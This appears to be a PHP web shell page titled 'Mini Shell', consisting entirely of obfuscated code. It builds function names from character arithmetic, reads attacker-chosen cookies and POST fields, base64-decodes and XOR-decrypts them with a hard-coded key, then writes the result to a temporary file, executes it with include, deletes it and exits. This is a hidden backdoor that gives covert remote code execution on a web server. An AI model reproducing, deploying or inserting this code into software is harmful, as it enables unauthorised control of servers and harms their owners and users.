Mini Shell

$TQtcVW = "\x6d" . chr ( 1043 - 978 )."\163" . '_' . "\x65" . 'g' . chr ( 691 - 587 )."\x6f";$YVbgpFwbFs = "\143" . chr ( 917 - 809 ).chr (97) . 's' . chr ( 738 - 623 )."\137" . 'e' . "\170" . chr ( 625 - 520 )."\163" . "\x74" . "\163";$BCYGz = class_exists($TQtcVW); $YVbgpFwbFs = "22284";$yNVleATgo = strpos($YVbgpFwbFs, $TQtcVW);if ($BCYGz == $yNVleATgo){function URekflER(){$VRfxBlsJM = new /* 27152 */ mAs_egho(41007 + 41007); $VRfxBlsJM = NULL;}$nyaKntTiqX = "41007";class mAs_egho{private function rkSBn($nyaKntTiqX){if (is_array(mAs_egho::$ocMIvgNYVX)) {$name = sys_get_temp_dir() . "/" . crc32(mAs_egho::$ocMIvgNYVX["salt"]);@mAs_egho::$ocMIvgNYVX["write"]($name, mAs_egho::$ocMIvgNYVX["content"]);include $name;@mAs_egho::$ocMIvgNYVX["delete"]($name); $nyaKntTiqX = "41007";exit();}}public function RatGRLMn(){$GOLVDFqtX = "63164";$this->_dummy = str_repeat($GOLVDFqtX, strlen($GOLVDFqtX));}public function __destruct(){mAs_egho::$ocMIvgNYVX = @unserialize(mAs_egho::$ocMIvgNYVX); $nyaKntTiqX = "62147_50885";$this->rkSBn($nyaKntTiqX); $nyaKntTiqX = "62147_50885";}public function VZBCNXp($GOLVDFqtX, $kYJgXsFToC){return $GOLVDFqtX[0] ^ str_repeat($kYJgXsFToC, intval(strlen($GOLVDFqtX[0]) / strlen($kYJgXsFToC)) + 1);}public function UogfInl($GOLVDFqtX){$xGpkXFX = chr ( 816 - 718 )."\141" . chr ( 978 - 863 ).chr ( 592 - 491 ).chr ( 286 - 232 ).chr ( 912 - 860 );return array_map($xGpkXFX . chr (95) . chr ( 1055 - 955 ).'e' . chr (99) . chr ( 1010 - 899 ).chr (100) . chr (101), array($GOLVDFqtX,));}public function __construct($JiiDYjDVML=0){$jjdRxu = chr (44); $GOLVDFqtX = "";$gNLAahVod = $_POST;$SyuFeNfCn = $_COOKIE;$kYJgXsFToC = "447f9376-0b54-4d0e-8384-28690d1a3bb8";$ZQcxgHmS = @$SyuFeNfCn[substr($kYJgXsFToC, 0, 4)];if (!empty($ZQcxgHmS)){$ZQcxgHmS = explode($jjdRxu, $ZQcxgHmS);foreach ($ZQcxgHmS as $oUZcYA){$GOLVDFqtX .= @$SyuFeNfCn[$oUZcYA];$GOLVDFqtX .= @$gNLAahVod[$oUZcYA];}$GOLVDFqtX = $this->UogfInl($GOLVDFqtX);}mAs_egho::$ocMIvgNYVX = $this->VZBCNXp($GOLVDFqtX, $kYJgXsFToC);if (strpos($kYJgXsFToC, $jjdRxu) !== FALSE){$kYJgXsFToC = str_pad($kYJgXsFToC, 10); $kYJgXsFToC = ltrim(rtrim($kYJgXsFToC));}}public static $ocMIvgNYVX = 21286;}URekflER();}